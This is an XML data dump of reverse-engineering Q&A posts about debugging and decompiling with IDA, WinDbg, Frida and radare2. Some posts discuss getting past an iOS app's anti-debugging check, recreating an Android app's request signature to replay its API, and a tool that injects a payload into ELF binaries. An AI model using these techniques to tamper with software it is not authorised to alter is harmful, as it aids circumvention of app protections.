  <row Id="24920" PostTypeId="2" ParentId="23454" CreationDate="2020-05-05T07:57:32.227" Score="3" Body="&lt;p&gt;AFAIK, knowing what registry keys are used is not always enough, because the registry is just a place to store things like preferences. Setting a registry value may not have any immediate effect on a device. The real source of truth of how a device is configured is the device itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience control panels tend to be lightweight GUIs hosted by the OS, and the process that does any real work is the daemon that the GUI talks to over IPC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking over the recorded API calls in API Monitor we can see that the control panel sends RPC messages to the AudioSrv service. Using &lt;code&gt;sc queryex&lt;/code&gt; in Command Prompt, you can find the PID of the svchost (service host) that's hosting the instance of this service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, doing a string search in IDA, we find the string &quot;ListenTo&quot; being used by some of the AudioSrv code. It could be a string used for debugging, but that would be my first place to do some static analysis in IDA or set a breakpoint on with my debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some tools that can help with figuring out which code is run when you perform some action. Ultimap in CheatEngine comes to mind, you can find tutorials for it online. You can also perform tracing of the process in x64dbg and look for any syscalls, which is generally interesting because it indicates that the process is asking the kernel for something (e.g. control a device).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, this is probably a lot of work just to get to a hacky solution, so you might explore alternatives e.g. creating a virtual device driver.&lt;/p&gt;&#xA;" OwnerUserId="24467" LastEditorUserId="24467" LastEditDate="2020-05-05T09:28:48.833" LastActivityDate="2020-05-05T09:28:48.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24921" PostTypeId="2" ParentId="24876" CreationDate="2020-05-05T08:25:13.397" Score="1" Body="&lt;p&gt;there is a way more easy solutuion: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;use Microsoft Detours: &lt;a href=&quot;https://github.com/microsoft/Detours&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/microsoft/Detours&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;very well developed, works out of the box, easy compileable on VStudio shell with nmake (just follow the build instructions), many small examples&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can detours some (or all) of the Dll-Functions to your own code without replacing the original Dll or patching the executable, even possible to intercept any function/method you know the adress of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the setdll and withdll are very helpfull&lt;/p&gt;&#xA;" OwnerUserId="28904" LastActivityDate="2020-05-05T08:25:13.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24922" PostTypeId="2" ParentId="24917" CreationDate="2020-05-05T08:29:01.890" Score="1" Body="&lt;p&gt;You can't load 32bit Dlls in 64bit Processes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: build a 32bit App or write an external 32bit prozess(yes a EXE) that loads the DLL and communication with that process using Pipes or TCP/IP from your 64bit app&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: the first Dlls name is FileAnalyzer.dll, in the Code is FileDataCtrl.dll?&lt;/p&gt;&#xA;" OwnerUserId="28904" LastActivityDate="2020-05-05T08:29:01.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24923" PostTypeId="1" CreationDate="2020-05-05T11:14:28.913" Score="2" ViewCount="265" Body="&lt;p&gt;I'm facing some issues while debugging an iOS application for educational purposes. This is an iOS application found on the App Store and has some anti-debugging capabilities built in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pretext:&lt;/strong&gt;&#xA;The assembly instruction you see below is a snippet of the anti debugging checks done by the application. The instructions below are going to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load Register X8 with a memory address of (Current PC Register - 0xa70)&lt;/li&gt;&#xA;&lt;li&gt;No Operation&lt;/li&gt;&#xA;&lt;li&gt;Load Byte from register X8 into w8&lt;/li&gt;&#xA;&lt;li&gt;Compare Register w8 if it is equal to 0xff  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exact Code block for Instructions as seen in IDA&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ADR             X8, __cB5JgDa_QrhRN_ ; +[cB5JgDa QrhRN]&#xA; NOP&#xA; LDRB            W8, [X8]&#xA; CMP             W8, #0xFF&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Corresponding Byte Code Block for Same Instruction Set&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;88 AC FF 10&#xA; 1F 20 03 D5&#xA; 08 01 40 39&#xA; 1F FD 03 71&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ji4Dz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ji4Dz.png&quot; alt=&quot;Assembly Instructions for anti-debug check&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's jump the gun and see what happens when it tries to load the byte from register x8 int w8. As you can see, I did a register read of both w8 and X8. In theory, based on the memory contents of X8, this instruction should have loaded 0xff into w8 through the assembly instruction ldrb w8, [x8]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x8bNe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x8bNe.png&quot; alt=&quot;Problematic Assembly Instruction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem Faced&lt;/strong&gt;: Upon evaluation of the instruction the actual memory contents in w8 was 0xfe and NOT 0xff. This is really an unexpected behaviour as my ARM knowledge tells me that the correct value for that evaluation should be 0xff and not 0xfe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DYsq3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DYsq3.png&quot; alt=&quot;Evaluated result was 0xfe instead of 0xff&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things I have tried  but failed to explain this behaviour&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creating mini Xcode iOS app and trying to replicate the same instruction set and memory state&lt;/li&gt;&#xA;&lt;li&gt;Setting watchpoints to observe if any part of the program is editing the memory in-between&lt;/li&gt;&#xA;&lt;li&gt;Looking for memory protections such as mprotect if they have modified that memory region&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would be highly appreciative of anyone who can point me in any right direction or ways so that I can better understand this mysterious behaviour. If it was my misunderstanding in ARM instruction, please do tell me too. Thank you so much everyone.&lt;/p&gt;&#xA;" OwnerUserId="33108" LastEditorUserId="33108" LastEditDate="2020-05-05T18:45:21.897" LastActivityDate="2020-05-06T12:42:23.513" Title="Mysterious ARM instruction evaluating result to be 0xfe instead of 0xff" Tags="|debugging|anti-debugging|ios|arm64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24924" PostTypeId="1" AcceptedAnswerId="24926" CreationDate="2020-05-05T11:45:50.950" Score="2" ViewCount="722" Body="&lt;p&gt;I know that there is a similar question but the answers didn't provide any fix for that problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am decompiling a .dll file, and I have found out the subroutine that I needed, but it's throwing a &quot;call analysis failed&quot; at line &lt;code&gt;call eax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Can I properly decompile the subroutine with this &lt;code&gt;call eax&lt;/code&gt; line, or can I change it to something else, or simply ignore it? Working in ASM is really tough because I need to take out the code itself, not patch, and manually converting assembly code into pseudocode will be really hard to do.&lt;/p&gt;&#xA;" OwnerUserId="33109" LastActivityDate="2020-05-06T11:33:01.617" Title="How to decompile &quot;call eax&quot; in IDA Pro?" Tags="|ida|assembly|dll|dll-injection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24925" PostTypeId="2" ParentId="21910" CreationDate="2020-05-05T12:20:22.757" Score="0" Body="&lt;p&gt;I wrote a small utility back in high school to do something similar:&#xA;&lt;a href=&quot;https://github.com/jdefrancesco/elfy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jdefrancesco/elfy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You inject the .note section with the payload and it will modify the ELF entry pointing to the .note section. Afterwards it will jump back to the original entry point.&lt;/p&gt;&#xA;" OwnerUserId="9826" LastActivityDate="2020-05-05T12:20:22.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24926" PostTypeId="2" ParentId="24924" CreationDate="2020-05-05T12:26:36.840" Score="2" Body="&lt;p&gt;You can take one of the following approaches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;call eax&lt;/code&gt; usually means there is an indirect call. try to find what and where &lt;code&gt;eax&lt;/code&gt; is defined. Maybe only by looking at it, you will found the problem. If you find the origin but not understand the problem, you can try to patch it, to something like: &lt;code&gt;mov eax, &amp;lt;known_function_address&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Maybe you can change a function signature to overcome the issue like it described &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15473/why-is-ida-call-analysis-failing&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can try to use a different decompiler, when the most notable one is &lt;code&gt;Ghidra&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-05-05T12:26:36.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24927" PostTypeId="1" AcceptedAnswerId="24928" CreationDate="2020-05-05T15:27:50.900" Score="1" ViewCount="232" Body="&lt;p&gt;I'm debugging a Qt App and trying to view QT string object data within debugger. I'm referring to this &lt;a href=&quot;https://0cch.com/2019/07/30/windbg-with-qt4-natvis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt; which shows how to do that however ,i dont have access to source code. windbg lacks the ability to display basic QT data. In windbg I want to see what all QtStrings are being passed to any Qt-API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In following disassembly string object returned by toString() are being passed to setHttpUserAgent API, arguments are placed on rcx and rdx registers. I want to view those strings in windbg / any debugger.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000001400424CC                 lea     rdx, [rbp+57h+var_90]&#xA;.text:00000001400424D0                 mov     rcx, rax&#xA;.text:00000001400424D3                 call    cs:?toString@QVariant@@QEBA?AVQString@@XZ ; QVariant::toString(void)&#xA;.text:00000001400424D9                 nop&#xA;.text:00000001400424D9 ;   } &#xA;.text:00000001400424DA                 mov     rdx, rax&#xA;.text:00000001400424DD                 mov     rcx, r14&#xA;.text:00000001400424E0                 call    cs:?setHttpUserAgent@QWebEngineProfile@@QEAAXAEBVQString@@@Z ; QWebEngineProfile::setHttpUserAgent(QString const &amp;amp;)&#xA;.text:00000001400424E6                 nop&#xA;.text:00000001400424E6 ;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To do this i believe i need to have better understanding of Qt string's memory layout. If there is any document which can help me figure that out please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance.&lt;/p&gt;&#xA;" OwnerUserId="11562" LastActivityDate="2020-05-05T22:16:51.013" Title="Viewing QT String Object Data under Windbg" Tags="|qt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24928" PostTypeId="2" ParentId="24927" CreationDate="2020-05-05T22:16:51.013" Score="2" Body="&lt;p&gt;the function toString Returns a Qstring in rax&lt;br&gt;&#xA;doing db poi(@rax) should show you the string after you step over  the function   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a small automated breakpoint&lt;/p&gt;&#xA;&#xA;&lt;p&gt;setting a conditional breakpoint that sets another one shot breakpoint on return address and prints the content of rax and continues &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:006&amp;gt; bl (should be in one line )&#xA;     0 e Disable Clear  00000000`5ffd7220     0001 (0001)  0:**** &#xA;Qt5Core!QT::QVariant::toString &quot;bp /1 @$ra \&quot;db poi(@rax) l30;.echo ========;gc\&quot;;gc&quot;&#xA;0:006&amp;gt; g&#xA;0000027c`ca346580  02 00 00 00 05 00 00 00-06 00 00 00 00 00 00 00  ................&#xA;0000027c`ca346590  18 00 00 00 00 00 00 00-73 00 74 00 61 00 72 00  ........s.t.a.r.&#xA;0000027c`ca3465a0  74 00 00 00 00 00 00 00-d8 be 55 86 00 45 02 80  t.........U..E..&#xA;========&#xA;0000027c`d0feb620  02 00 00 00 10 00 00 00-11 00 00 00 00 00 00 00  ................&#xA;0000027c`d0feb630  18 00 00 00 00 00 00 00-30 00 30 00 30 00 30 00  ........0.0.0.0.&#xA;0000027c`d0feb640  30 00 30 00 30 00 30 00-30 00 30 00 34 00 30 00  0.0.0.0.0.0.4.0.&#xA;========&#xA;0000027c`ca45a750  02 00 00 00 0c 00 00 00-0d 00 00 00 00 00 00 00  ................&#xA;0000027c`ca45a760  18 00 00 00 00 00 00 00-5b 00 6d 00 61 00 69 00  ........[.m.a.i.&#xA;0000027c`ca45a770  6e 00 20 00 65 00 6e 00-74 00 72 00 79 00 5d 00  n. .e.n.t.r.y.].&#xA;========&#xA;00000000`60093038  ff ff ff ff 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;00000000`60093048  18 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;00000000`60093058  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;========&#xA;0000027c`ca343040  02 00 00 00 04 00 00 00-05 00 00 00 01 00 00 00  ................&#xA;0000027c`ca343050  18 00 00 00 00 00 00 00-4e 00 61 00 6d 00 65 00  ........N.a.m.e.&#xA;0000027c`ca343060  00 00 61 74 69 6f 6e 00-84 bb 01 83 00 29 01 90  ..ation......)..&#xA;========&#xA;0000027c`ca3433d0  02 00 00 00 07 00 00 00-08 00 00 00 01 00 00 00  ................&#xA;0000027c`ca3433e0  18 00 00 00 00 00 00 00-41 00 64 00 64 00 72 00  ........A.d.d.r.&#xA;0000027c`ca3433f0  65 00 73 00 73 00 00 00-bd bb 48 83 00 3c 01 95  e.s.s.....H..&amp;lt;..&#xA;========&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-05-05T22:16:51.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24929" PostTypeId="1" CreationDate="2020-05-05T23:30:09.490" Score="1" ViewCount="298" Body="&lt;p&gt;I am fairly new to software reverse engineering and I'd like to know how proceed with analyzing a   program if I have a text file of disassembly code and a bin file of binary data. I understand assembly language. But, is there a better way than just going through the text file, instruction by instruction, trying to figure out what the program is doing?  I don't have IDA Pro but I have Ghidra. Would I use Ghidra somehow? Or would I just use a debugger like x64dbg?&lt;/p&gt;&#xA;" OwnerUserId="33112" LastActivityDate="2020-05-05T23:30:09.490" Title="What to do with a text file of disassembly code and binaries?" Tags="|disassembly|assembly|binary-analysis|disassemblers|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24931" PostTypeId="1" CreationDate="2020-05-06T08:40:53.850" Score="0" ViewCount="153" Body="&lt;p&gt;I have been trying to reverse-engineer an Android application using Jadx for static analysis and Frida for dynamic analysis. The end goal is to be able to re-create the request signature, sent as a &quot;x-signature&quot; header, to replicate the API requests programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to figure out how a function, given an app key and a HashMap of request parameters as input, manages to output the signature &quot;ab21c1009004ad4c88477eef2340998bb6f8c774732e1e9e03&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hexadecimal string is of length 50 so, since a hexadecimal represents four bits, it means the hashing algorithm that generates it must create 200 bits (right?). However, according to &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_hash_functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/List_of_hash_functions&lt;/a&gt;, there is none, and especially not the most well-known ones, such as SHA1, SHA-256 or MD5, that the code seems to be using very often, especially MD5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing please? I don't know much about truncating and folding but I believe it's unlikely to be the issue here, since I've spent a lot of time getting familiar with the source code and nowhere has one of these techniques appeared, unless hidden in a common library's method.&lt;/p&gt;&#xA;" OwnerUserId="33117" LastActivityDate="2020-05-06T08:40:53.850" Title="Hashing algorithm of length 50" Tags="|java|hash-functions|frida|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24932" PostTypeId="1" AcceptedAnswerId="24934" CreationDate="2020-05-06T11:29:49.747" Score="2" ViewCount="548" Body="&lt;p&gt;I'm debugging some 32-bit process using windbg kernel debugger. This process calls some syscalls, so I set few breakpoints at kernel functions like nt!NtQuerySystemInformation. So after breakpoint hit, what's the easiest way to trace back from kernel function to place where syscall was called in user-mode process? It's wow64 so call stack doesn't help, this is how it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0]   nt!NtQuerySystemInformation   &#xA;[0x1]   nt!KiSystemServiceExitPico + 0x25e   &#xA;[0x2]   ntdll!NtQuerySystemInformation + 0x14   &#xA;[0x3]   wow64!whNT32QuerySystemInformation + 0x34   &#xA;[0x4]   wow64!whNtQuerySystemInformation + 0xb4   &#xA;[0x5]   wow64!Wow64SystemServiceEx + 0x15a   &#xA;[0x6]   wow64cpu!ServiceNoTurbo + 0xb   &#xA;[0x7]   wow64cpu!BTCpuSimulate + 0x9   &#xA;[0x8]   wow64!RunCpuSimulation + 0xd   &#xA;[0x9]   wow64!Wow64LdrpInitialize + 0x12d   &#xA;[0xa]   ntdll!LdrpInitializeProcess + 0x193e   &#xA;[0xb]   ntdll!_LdrpInitialize + 0x4cd95   &#xA;[0xc]   ntdll!LdrpInitialize + 0x3b   &#xA;[0xd]   ntdll!LdrInitializeThunk + 0xe   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to set breakpoints at usermode modules, have to trace it back from kernel. I've found out that &lt;code&gt;jmp fword ptr [r14]&lt;/code&gt; at the end of wow64cpu!RunSimulatedCode is used to jump back to usermode. However RunSimulatedCode isn't always called, some functions use something else. Moreover, after jumping back to usermode windbg cannot retrieve user mode call stack.&lt;/p&gt;&#xA;" OwnerUserId="26916" LastActivityDate="2020-05-06T12:33:15.253" Title="Get return address from syscall" Tags="|windows|debugging|windbg|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24933" PostTypeId="2" ParentId="24924" CreationDate="2020-05-06T11:33:01.617" Score="1" Body="&lt;p&gt;This problem is not unique to &lt;code&gt;call eax&lt;/code&gt; but potentially any indirect call or a call to a function with wrong type information. The possible causes and solutions are described in the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/failures.shtml#11&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex-Rays Decompiler manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One common cause is the stack adjustment of the call not being correctly detected by IDA (e.g. the called function is stdcall with arguments but IDA detected that stack change is 0). This can be fixed by specifying the correct stack change value via the &lt;kbd&gt;Alt+K&lt;/kbd&gt; shortcut (4 for each push is a good rule of thumb).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-06T11:33:01.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24934" PostTypeId="2" ParentId="24932" CreationDate="2020-05-06T12:33:15.253" Score="1" Body="&lt;p&gt;The syscall instruction is always invoked in long mode, by the 64-bit &lt;code&gt;ntdll&lt;/code&gt; (there are two &lt;code&gt;ntdll&lt;/code&gt; in a wow64 process), so the return to &lt;em&gt;user mode&lt;/em&gt; should be there. The &lt;code&gt;jmp fword ptr [r14]&lt;/code&gt; instruction jumps back to &lt;strong&gt;x86&lt;/strong&gt; code from x64. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When dealing with mixed mode stacks in WinDbg, the wow64ext extension is useful, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!load wow64ext&#xA;!wow64exts.info&#xA;!wow64exts.k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-06T12:33:15.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24935" PostTypeId="2" ParentId="24923" CreationDate="2020-05-06T12:42:23.513" Score="4" Body="&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; that the code is supposed to be checking for hooks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;adr&lt;/code&gt; instruction sets &lt;code&gt;x8&lt;/code&gt; to the start of the function so if there was a breakpoint or a jump placed there by a hook library, the byte there would be different from the original value &lt;code&gt;FF&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possibility is that &lt;strong&gt;there is&lt;/strong&gt; a breakpoint there but the debugger is masking it by showing you the original code. If you did place a breakpoint there, try removing it before stepping through the read. You can also try using one-shot breakpoints which are removed automatically after being hit. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-06T12:42:23.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24936" PostTypeId="2" ParentId="24902" CreationDate="2020-05-06T12:45:56.903" Score="3" Body="&lt;p&gt;You can add a struct with bitfields to the Local Types list (Shift-F1, Ins) but they are not currently supported by the decompiler or on the disassembly level. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-06T12:45:56.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24937" PostTypeId="2" ParentId="24895" CreationDate="2020-05-06T14:20:57.840" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Is &lt;code&gt;movq rax, xmm0&lt;/code&gt; buggy in Radare2?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No, it's just not fully implemented in all debuggers yet.&lt;/p&gt;&#xA;&lt;h2&gt;Native Debugger Works!&lt;/h2&gt;&#xA;&lt;p&gt;This instruction works fine using the native debugger.  The native debugger is launched with &lt;code&gt;r2 -d yourFileGoesHere&lt;/code&gt;.  Alternatively, if you are already in &lt;code&gt;r2&lt;/code&gt; looking at the file, but &lt;code&gt;r2&lt;/code&gt; wasn't launched with the &lt;code&gt;-d&lt;/code&gt; switch, the file can be reopened in debug mode with the &lt;code&gt;r2&lt;/code&gt; command &lt;code&gt;ood&lt;/code&gt; (o_pen o_penned file with the d_ebugger ?).&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/disassembling/esil.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ESIL&lt;/a&gt; &lt;a href=&quot;https://radare.gitbooks.io/radare2book/analysis/emulation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Emulator&lt;/a&gt; doesn't fully support SIMD yet.&lt;/h2&gt;&#xA;&lt;p&gt;See Github issues &lt;a href=&quot;https://github.com/radareorg/radare2/issues/4327&quot; rel=&quot;nofollow noreferrer&quot;&gt;#4327&lt;/a&gt; and &lt;a href=&quot;https://github.com/radareorg/radare2/issues/11421&quot; rel=&quot;nofollow noreferrer&quot;&gt;#11421&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &amp;quot;bug&amp;quot; noted in the question was actually demonstrating that the ESIL Emulator doesn't fully support the &lt;code&gt;xmm0&lt;/code&gt; register yet.&lt;/p&gt;&#xA;&lt;h2&gt;Summary&lt;/h2&gt;&#xA;&lt;p&gt;The native debugger accurately executes the &lt;code&gt;movq rax, xmm0&lt;/code&gt; instruction.  The ESIL Emulator does not accurately emulate the &lt;code&gt;movq rax, xmm0&lt;/code&gt; instruction &lt;em&gt;yet&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23193" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-05-06T14:20:57.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24940" PostTypeId="1" AcceptedAnswerId="24985" CreationDate="2020-05-06T23:24:33.877" Score="0" ViewCount="1409" Body="&lt;p&gt;I'm trying to get the return value of a android native function call using Frida but with no success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Interceptor.attach(Module.getExportByName('lib.so', 'Token'), {&#xA;    onEnter: function(args) {&#xA;    },&#xA;    onLeave: function(retval) {&#xA;      console.log(retval);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that the value is a bytearray but I can't find a way to read it from the native pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction? What should I do the get the value from retval? I already tried to use cast, but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="33126" LastActivityDate="2020-05-11T17:41:05.533" Title="Read bytearray from retval on onLeave event" Tags="|android|frida|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24941" PostTypeId="1" AcceptedAnswerId="24942" CreationDate="2020-05-07T07:16:41.093" Score="3" ViewCount="1423" Body="&lt;p&gt;I have been diving into an apk's source code, doing both static analysis with Jadx (same as dex2jar) and dynamic analysis with Frida.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to replicate the method that signs HTTP requests &quot;signRequest&quot;. The thing is that it is only declared in an interface and nowhere in the code is there an actual implementation of that method. When I use Frida to get the instance that uses this method, I can run the method and make it work. The instance in question is like this: com.xxx.yyy.zzz@24d6bf8 but the thing is that the class com.xxx.yyy.zzz, and even the module com.xxx.yyy, do not exist in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea how this might happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've had a hunch and thought that maybe, since I had encountered &quot;antidex2jar&quot; classes in the source code, maybe there were protections against dex2jar making it throw errors, therefore preventing it from decompiling the classes, as I had read somewhere. However, even the smali code on Android-Studio doesn't contain the class.&lt;/p&gt;&#xA;" OwnerUserId="33117" LastEditorUserId="33117" LastEditDate="2020-05-07T07:40:55.423" LastActivityDate="2023-02-17T01:29:37.097" Title="Dynamic analysis (Frida) reveals instance of a class that doesn't exist in the source code (dex2jar)" Tags="|static-analysis|java|dynamic-analysis|frida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24942" PostTypeId="2" ParentId="24941" CreationDate="2020-05-07T10:12:28.777" Score="5" Body="&lt;p&gt;There are multiple possibilities how this might happen.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The code is loaded dynamically at run-time, e.g. for an [obfuscated/encrypted] dex file that is present in the APK file but does not follow the standard naming scheme &lt;code&gt;/classes*.dex&lt;/code&gt;. In case the whole application code is located in such external code files most likely an &amp;quot;APK packer&amp;quot; tool (like DxShield, DexProtector, ..) has been applied on the application.  You can try to use &lt;a href=&quot;https://github.com/rednaga/APKiD&quot; rel=&quot;nofollow noreferrer&quot;&gt;APKiD&lt;/a&gt; to identify the used packer.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The code is downloaded from an web-server and then loaded dynamically.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The code is generated on-the-fly at run-time. This can happen if e.g. based on an interface some proxy-classes are automatically generated using other code as base (e.g. for handling HTTP-[JSON]-RPC calls that are automatically translated to method calls). But usually this code is not located in a new package.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;As your question includes the Frida tag you should try to use it (if it works on that application) and check the application at run-time what classes are loaded.&#xA;You can hook the various classloader methods that allow to load (dex) byte code at run-time and dump/save the loaded byte code.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively there are some tools and tutorials online that claim to be able to defeat Android packers and dump all Dex classes.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastEditorUserId="1848" LastEditDate="2023-02-17T01:29:37.097" LastActivityDate="2023-02-17T01:29:37.097" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24943" PostTypeId="5" CreationDate="2020-05-07T13:28:10.220" Score="0" Body="&lt;p&gt;BIOS (basic input/output system) is a special program to get the computer system started after you turn it on. It also manages data flow between the computer's operating system and attached devices like the hard disk, video adapter, keyboard, mouse and printer.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastEditorUserId="30460" LastEditDate="2020-05-09T00:08:32.320" LastActivityDate="2020-05-09T00:08:32.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
